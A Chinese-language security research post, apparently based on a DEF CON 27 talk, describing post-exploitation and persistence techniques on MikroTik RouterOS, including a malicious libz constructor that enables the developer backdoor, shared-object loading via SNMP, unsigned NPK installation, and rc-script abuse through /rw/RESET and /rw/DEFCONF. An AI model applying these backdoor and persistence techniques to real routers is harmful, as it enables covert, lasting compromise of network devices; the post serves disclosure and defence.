有關RouterOS的後滲透研究

  • 2019 年 10 月 7 日
  • 筆記

在DEF CON 27大會上,我提出了題為「幫幫我,漏洞!你是我唯一希望」的討論。討論了過去幾年有關MikroTik RouterOS的利用,並發布了一個用於幫助在RouterOS 3.x中啟用和維持root shell訪問的工具Cleaner Wrasse。

此次DEF CON的討論還介紹了RouterOS過去和現在的後期利用技術。我大致將討論分為以下兩部分:

1.攻擊者可以從中執行的位置。 2.如何實現重啟或持久性。

這也是本文的主要內容。但為什麼要討論後期利用呢?事實是,雖然我們可以看到許多有關這些路由器利用的文章。但關於RouterOS後期利用的公開研究卻很少或幾乎沒有。因此,我希望這篇文章及相關工具能夠為大家提供思路和幫助。

RouterOS

在正式開始討論後期利用之前,你需要對RouterOS的一般設計有所了解。就我們的目的而言,要理解的最重要的事情之一是系統上的所有內容都是一個包。如下圖所示,你可以看到我在hAP上安裝的所有軟體包。

甚至標準的Linux-y目錄(如/bin/, /lib/, /etc/)都來自一個包。系統包被指定。

包使用的文件格式為NPK。Kirils Solovjovs製作了該描述文件格式的圖表。每個NPK都包含一個squashfs部分。在啟動時,squashfs文件系統將被提取並安裝到/pckg/目錄中(或者根據安裝方法進行符號鏈接)(對於系統包來說,這並不完全正確,但我們可以忽略這一點)。

Squashfs是只讀的。從上圖中你可以看到,我無法touch /pckg/dhcp/lol文件。這可能會讓你產生錯覺認為整個系統都是只讀的,但事實並非如此。例如,/pckg/實際上是/ram/中讀寫tmpfs空間的一部分。

此外,系統的/flash/目錄指向持久讀寫存儲。那裡存儲了很多配置資訊。此外,只有持久存儲用戶可以訪問,/flash/rw/disk/,在這個空間中被發現。

雖然系統所有的可執行文件似乎都位於只讀空間中,但似乎存在一些攻擊者可以操作的讀寫空間,包括tmpfs和persistent。技巧是弄清楚如何使用該空間來實現和維持執行。

另外一件重要的事情是,用戶實際上無法訪問RouterOS上真正的shell。在上面的截圖中,似乎我擁有一個root shell。但這僅僅是因為我利用了路由器並啟用了開發人員的後門。這實際上不太可能,所以我要感謝漏洞的「魔力」。

如果你對RouterOS中的開發人員後門並不熟悉,這裡有一個非常簡短的概述:自RouterOS 3.x以來,系統被設計為如果系統的特定位置存在特定文件,則提供一個可通過telnet或ssh訪問的root busybox shell(該位置多年來已發生了改變)。假設存在特定文件,則可以通過使用admin用戶和密碼devel的身份登錄訪問busybox shell。

在以下影片中你可以看到,我利用HackerFantastic的set tracefile漏洞,在RouterOS 6.41.4上創建了特定文件/pckg/option。該文件的存在使得後門訪問成為可能。當我以devel身份登錄、然後刪除文件並註銷之後,我就不能再訪問root shell了。

演示影片

攻擊來自 SNMP 內部!

snmp二進位文件(/nova/bin/snmp)是系統包的一部分。但是,有各種其他軟體包想要將自己的功能添加到snmp中。例如,dhcp包。在下圖中,你可以看到/ pckg/dhcp具有/snmp/子目錄。

當snmp二進位文件啟動,它將遍歷/pckg/中的所有目錄並查找/nova/lib/snmp/子目錄。該子目錄中的任何共享對象都會傳遞給dlopen(),然後調用共享對象的autorun()。

由於dhcp軟體包以只讀方式掛載的,因此攻擊者無法修改已載入的共享對象。但是/pckg/是讀寫的,因此攻擊者可以引入自己的目錄結構(例如/pckg/snmp_xploit/nova/lib/snmp/)。存儲在那裡的任何共享對象都將由snmp載入。

攻擊者可以隱藏在只讀空間的進程中。但是當它與可以將文件寫入磁碟(如CVE-2019-3943或CVE-2018-14847)的漏洞結合使用時,它會更有用。

我寫了一個PoC來說明CVE-2019-3943的用例。實質上,經過身份驗證的攻擊者可以使用漏洞的目錄遍歷來創建/pckg/目錄結構。

創建目錄後,攻擊者需要刪除磁碟上的共享對象。幸運的是,CVE-2019-3943也可以做到這一點。顯然,真正的攻擊者可以從共享對象執行任何操作,但是為了概念驗證,我直接從構造函數創建了6.41+後門文件。

PoC甚至會停止並重啟SNMP進程,以確保在不重啟系統的情況下載入共享對象。

由於/pckg/位於tmpfs空間,因此即使PoC沒有刪除腳本,腳本創建的目錄結構也會在重啟時被刪除。

與上面類似,我發現我可以從/flash/rw/lib中獲取系統二進位文件來載入庫。這是因為/rw/lib/是LD_LIBRARY_PATH環境變數中的第一個條目。

從/rw/lib/載入庫的好處在於,因為它是持久的文件空間,共享對象將在重啟後保持不變。唯一的挑戰是弄清楚我們想要劫持哪個庫。顯而易見的選擇是libc.so,因為它可以保證在任何地方都能載入。但是RouterOS使用uClibc,坦率地說,我不想處理它。

謝天謝地,我偶然發現了這個。

/nova/bin/fileman載入libz。fileman是通過Winbox或Webfig從用戶的/rw/disk目錄進行讀寫操作的系統二進位文件。當用戶導航到「Files」介面時,它會被執行,但在用戶導航離開後,它會關閉,並閑置一分鐘的時間。

為了編譯惡意庫,我只需下載libz 1.2.11並將此構造函數添加到deflate.c:

void __attribute__((constructor)) lol(void)  {      int fork_result = fork();      if (fork_result == 0)      {          execl("/bin/bash", "bash", "-c",             "mkdir /pckg/option; mount -o bind /boot/ /pckg/option",             (char *) 0);          exit(0);      }  }

你可以再次看到,我剛剛選擇創建後門文件。為了概念驗證,我將新的libz.so交叉編譯為MIPS big-endian(大端位元組順序),以便我可以在我的hAP路由器上測試它。

再次,概念驗證使用CVE-2019–3943創建「lib」目錄並將庫放在磁碟上。

但是,與SNMP攻擊不同,/rw/lib/libz.so將在重啟後繼續運行,並且實際上在啟動序列中很早就會載入。這意味著每次重啟後,後門文件都將在啟動時被創建。

簽名驗證

存儲在/flash/中的一個更有趣的東西是/flash/var/pdb/中的文件。

事實證明,這是RouterOS存儲所有已安裝NPK文件的地方。奇怪的是作為root,它們都是可寫的。從我的經驗可以告訴你,你肯定不想重寫系統包。

當我知道我可以通過系統包來break整個系統時,我有點好奇。如果我再小心一點呢?如果我只是重寫包的squashfs文件系統呢?會安裝嗎?

我寫了一個名為modify_npk的工具來進行測試。這個工具非常簡單,它需要一個有效的MikroTik NPK(例如dude-6.44.5.npk)和一個用戶創建的squashfs。該工具會刪除有效的MikroTik squashfs部分並插入用戶的惡意squashfs。從理論上講,modify_npk只需要一個新的內部squashfs就可以生成一個完美的NPK。

問題是MikroTik在安裝NPK包時強制執行簽名驗證。如果你嘗試安裝一個modify_npk包,那麼RouterOS會將其標記為已損壞並拒絕它。請參閱以下日誌文件中的wrasse.npk:

我們不能讓其他人在這些系統上安裝任何他們想要的東西。但如果我們從我們自己的root shell進行安裝呢?

理論上,在安裝文件系統之前,RouterOS應始終對存儲的NPK執行簽名檢查,因為它們都是讀寫的,對吧?

在上圖中,你可以看到系統上已成功安裝了wrasse,bad signature等等!顯然,這意味著我創建的squashfs已經安裝。

當然,僅僅安裝squashfs還不夠,因為我創建的文件系統實際上包含一個rc腳本,它將在啟動時創建後門文件。

這非常有用,因為它會在重啟後持續存在。雖然,用戶可以通過使用「檢查安裝(Check Installation)」功能來捕獲此特定攻擊。

MikroTik悄無聲息地修補了6.42.1中的這個bug。之所以說是「悄無聲息」,是因為我沒有看到任何特定的發布或說明,這表明他們決定在每次重啟時強制執行簽名驗證。

RC 腳本

RouterOS使用rc腳本在引導後啟動進程,並在關閉期間清理某些進程。作業系統有一個傳統的/etc/rc.d/run.d/文件結構,我們將討論這個結構,但它也有(或有)其他地方執行rc腳本。

/flash/etc/

如前所述,RouterOS有一個傳統的/etc/目錄,但由於該目錄是只讀的,所以攻擊者無法修改或引入腳本。

乍一看,就rc腳本而言,它似乎沒有那麼有用。但是,正如Bignerd95在他的Chimay Red存儲庫中指出的,你可以在/flash/etc/中創建一個/rc.d/run.d/子目錄,其中存儲的任何rc腳本在啟動和關閉時都將被視為普通rc腳本。

在下面的示例中,你可以看到我創建了/flash/etc/rc.d/run.d/,並列印出了s89lol腳本的位置。重啟後,將執行腳本並創建開發人員後門。

這種行為在6.40.9之後被移除。然而,直到那時,這是一個非常簡單和方便的持久性機制。

/rw/RESET

RouterOS在/etc/rc.d/run.d/中有一堆腳本,但有兩個我想特別拿來說下。第一個是S08config,這是因為在6.40.5中它包含了以下邏輯:

elif [ -f /rw/RESET ]; then      /bin/bash /rw/RESET      rm -rf /rw/RESET

這意味著如果/rw/RESET存在,則S08config將在啟動時將其作為bash腳本執行。這是一種明顯的持久性機制。很明顯它實際上是在野觀察到的:

這個論壇用戶獲得了MikroTik的調試包,並能夠檢查一些後利用的文件。在這裡我們可以看到攻擊者使用/rw/RESET來執行他們的/rw/info二進位文件。也許這也是為什麼MikroTik改變了S08config行為的原因。

/rw/DEFCONF

與/rw/RESET類似,/rw/DEFCONF的內容可以通過S12defconf中的eval語句執行。

defcf=$(cat /rw/DEFCONF)  echo > /ram/defconf-params  if [ -f /nova/bin/flash ]; then      /nova/bin/flash --fetch-defconf-params /ram/defconf-params  fi  (eval $(cat /ram/defconf-params) action=apply /bin/gosh "$defcf";   cp "$defcf" $confirm; rm /rw/DEFCONF /ram/defconf-params) &

這是在6.40.1中首次引入的,但與/rw/RESET不同,這在6.45.3中尚未被修復。實際上,這是Cleaner Wrasse用於在路由器上建立重啟持久性的方法。我使用CVE-2019-3943編寫了一個PoC,以證明遠程認證的攻擊者是如何濫用/rw/DEFCONF來實現後門並建立持久性的。

/pckg/

正如我們在本文的簽名驗證部分所看到的那樣,/pckg/的每個包都可以有一個包含rc腳本的/etc/rc.d/run.d/目錄。/pckg/是tmpfs的一部分,因此攻擊者在/pckg/中創建的任何內容,都不會在重啟後持續存在,但新的rc腳本將在關閉時執行。

這有用嗎?有一個關於/rw/DEFCONF的點之前我一直沒向大家提及到,那就是它在系統上的存在會導致登錄出現問題。Cleaner Wrasse通過在/rw/.lol中暫存一個文件,然後在/pckg/中創建一個rc腳本來避免這個問題,該腳本會在關閉時創建/rw/DEFCONF文件。這樣,Cleaner Wrasse就可以避免登錄時的問題了,但在系統再次啟動時,一定要確保其存在。

符號鏈接

我在本文中提到的許多PoC都使用了CVE-2019-3943這個漏洞,但它已在2019年5月份被修補(6.43.15 Long-term)。除非使用Kirilis Solojov的USB越獄,否則沒有更多的公開方法來啟用後門文件以及root設備。那麼我又該如何做到這一點呢?

答案很簡單。當我仍能夠使用CVE-2019-3943漏洞利用路由器時,我在root用戶的/rw/disk目錄中創建了一個隱藏的符號鏈接。

升級後,只需FTP到路由器中,然後將符號鏈接遍歷到root。從那裡你可以用你想要的許多方法中的一種來實現執行。在下圖中,我將libz.so放到/rw/lib/中以啟用後門。

RouterOS沒有為普通用戶提供創建符號鏈接的方法,因此你只能通過利用來實現。但RouterOS也不會嘗試刪除符號鏈接。只要是這樣,我們就可以繼續使用存活的符號鏈接在升級後重建root shell。

Winbox或Webfig都不會顯示隱藏文件。偶爾通過FTP檢查用戶目錄,以確保其中沒有隱藏的內容是必要的。

那麼這裡發生了什麼?

我已經分享了很多實現執行的方法。所以當我偶然發現這個的時候,我有點困惑:

上圖來自CVE-2018–14847的第一份公開報告。在它有CVE之前。在它被MikroTik發現之前。一位用戶突然出現在MikroTik論壇上,並詢問了有關潛在Winbox漏洞(在他們設備上發現了一個奇怪的登錄和可疑文件)的問題。上面的圖片來自於他們發現的一個叫做save.sh的bash腳本。

我在這篇文章中向大家展示了,攻擊者不需要將任何東西存儲在用戶可以訪問的唯一目錄中。然而,這正是攻擊者所做的。/flash/rw/pckg/是指向用戶的/flash/rw/disk/目錄的符號鏈接。由此產生的後果也迫使MikroTik做了一些強化

修復

當然!本文中提及的所有問題目前都已被修復。只需通過一些微小的修改,或是避免以root身份執行所有內容都可以達到修復的目的。縱深防禦很重要,但有時它並不是一個高優先順序。我預計未來也不會發生任何重大的變化,但希望MikroTik可以對其發展計划進行一些小的防禦深度改進。

…或者我們只是靜靜等待RouterOS 7的發布;)